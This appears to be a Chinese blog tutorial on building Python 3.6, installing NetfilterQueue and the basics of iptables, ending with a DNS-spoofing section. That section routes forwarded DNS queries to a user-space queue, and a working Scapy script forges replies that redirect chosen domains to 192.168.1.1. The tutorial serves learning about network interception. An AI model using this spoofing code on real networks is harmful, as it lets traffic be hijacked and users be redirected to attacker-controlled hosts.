一 环境安装
前要:使用python3.6以上版本安装netfilterqueue会出现报错无法安装
1.安装python3.6
前提:本机已有python3.9,在此前提下安装python3.6
问题:中间有什么报错无法进行,一般是小问题,请自行翻译,下载解决
- 配置目录:
cd /
mkdir download
cd /download
mkdir python3.6
cd python3.6
- 获取安装包:
wget http://www.python.org/ftp/python/3.6.4/Python-3.6.4.tgz #如果嫌弃慢,自行打开网页自行下载,注意名字与后面命令一致
- 解压压缩包:
tar -zxvf Python-3.6.4.tgz
- 配置环境:
apt-get install build-essential && apt-get install libssl-dev && apt-get install zlib1g-dev && apt-get install libbz2-dev && apt-get install libreadline-dev && apt-get install libsqlite3-dev && apt-get install libncurses5-dev && apt-get install libncursesw5-dev && apt-get install libffi-dev && apt-get install liblzma-dev && apt-get install python-openssl && apt-get install tk-dev && apt-get install openssl #可以直接复制
- 准备编译:
cd Python-3.6.4
- 最后阶段:
./configure --prefix=/download/python3.6 && make && make install #使用这条命令提前创建好文件夹/download,因为编译好的python3.6将会放置于此
验证:在/download/python3.6/bin
下输入./python3
看看是否能运行python也注意查看版本号
2.安装快捷方式
ln命令解释:linux命令
ln -s /download/python3.6/bin/python3.6 /usr/bin/python3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的python3.6路径
ln -s /download/python3.6/bin/pip3.6 /usr/bin/pip3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的pip3.6路径
3.下载netfilterqueue
前要:无法通过pip下载,就自行手动下载
- 寻找名为
NetfilterQueue-0.8.1.tar.gz
的文件,官网一般都有或者wget https://files.pythonhosted.org/packages/39/c4/8f73f70442aa4094b3c37876c96cddad2c3e74c058f6cd9cb017d37ffac0/NetfilterQueue-0.8.1.tar.gz
- 解压
tar -zxvf NetfilterQueue-0.8.1.tar.gz
- 配置环境:
apt-get install libnetfilter-queue-dev && apt-get install build-essential && apt-get install python3-dev
- 进入
cd NetfilterQueue-0.8.1
- 安装:
python3.6 setup.py install #前提需要cd到解压完后的目录里
二 iptables
前要:其实它就是防火墙能对自己网络中的数据进行拦截丢弃,下面只会初步简单,基于文章学习
1.结构
1.1 表
内容 |
解释 |
raw |
高级功能例如网址过滤 |
mangle |
可修改数据包 |
net |
用于网关路由器上地址转换 |
filter |
用于防火墙包过滤(不指定表默认就是这个) |
1.2 链
内容 |
解释 |
INPUT链 |
处理输入数据包 |
OUTPUT链 |
处理输出数据包 |
FORWARD链 |
处理转发数据包 |
PREROUTING链 |
用于目标地址转换(DNAT)。 |
POSTOUTING链 |
用于源地址转换(SNAT)。 |
常用命令:
- -A
追加规则-->iptables -A INPUT
- -D
删除规则-->iptables -D INPUT 1(编号)
- -R
修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)
- -I
插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位
- -L
查看规则-->iptables -L INPUT 列出规则链中的所有规则
- -N
新的规则-->iptables -N allowed 定义新的规则
常用参数:
- -p
协议 例:iptables -A INPUT -p tcp
- -s
源地址 例:iptables -A INPUT -s 192.168.1.1
- -d
目的地址 例:iptables -A INPUT -d 192.168.12.1
- -sport
源端口 例:iptables -A INPUT -p tcp --sport 22
- -dport
目的端口 例:iptables -A INPUT -p tcp --dport 22
- -i
指定入口网卡 例:iptables -A INPUT -i eth0
- -o
指定出口网卡 例:iptables -A FORWARD -o eth0
- -j
后面添加规则 例:iptables -A OUTPUT -j ACCEPT
1.3 规则
内容 |
解释 |
ACCEPT |
允许数据包通过。 |
DROP |
直接丢弃数据包,不给任何回应信息,这时候客户端会感觉自己的请求泥牛入海了,过了超时时间才会有反应。 |
REJECT |
拒绝数据包通过,必要时会给数据发送端一个响应的信息,客户端刚请求就会收到拒绝的信息。 |
SNAT |
源地址转换,解决内网用户用同一个公网地址上网的问题。 |
MASQUERADE |
是SNAT的一种特殊形式,适用于动态的、临时会变的ip上。 |
DNAT |
目标地址转换。 |
REDIRECT |
在本机做端口映射。 |
LOG |
在/var/log/messages文件中记录日志信息,然后将数据包传递给下一条规则,也就是说除了记录以外不对数据包做任何其他操作,仍然让下一条规则去匹配。 |
NFQUEUE |
用于将数据包委托给用户态应用程序裁决如何处理数据包 |
2.实战
-
允许访问22端口:iptables -A INPUT -p tcp --dport 22 -j ACCEPT
-
允许向外访问:iptables -A OUTPUT -j ACCEPT
-
转发的dns服务提交给用户处置代号为0: iptables -I FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 0
-
删除所有规则: iptables --flush
3.实用方法
- 查看所有规则列表:
iptables -nvL
- 清空所有规则:
iptables --flush
三.dns欺骗
前要:netfiterqueue官方文档
第一步:iptables -I FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 0
在shell中执行该命令,此命令把电脑接收到的网络请求积累起来排成队列,队列编号为0,这样是为了方便让scapy去处理(注意这个FORWARD 是处理你电脑上转发的流量)
函数:
-
p.get_payload()
:获取二进制信息
-
IP(p.get_payload())
:获取成scapy里面一样的pkt包
import netfilterqueue
from scapy.all import *
def process(p):
sp=IP(p.get_payload())
dns_list = ['www.ak47.com','www.m4a1.com','www.awp.com']
if sp.haslayer(DNS) and sp.getlayer(DNS).qr == 0:
ip = sp.getlayer(IP)
udp = sp.getlayer(UDP)
dns = sp.getlayer(DNS)
dns_text=dns.qd.qname.decode()[:-1]
if dns_text in dns_list:
a = IP(src=ip.dst,dst=ip.src)
a/=UDP(sport=udp.dport,dport=udp.sport)
a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))
p.drop()
send(a)
print('ok')
p.accept()
queue =netfilterqueue.NetfilterQueue()
queue.bind(0,process)
queue.run()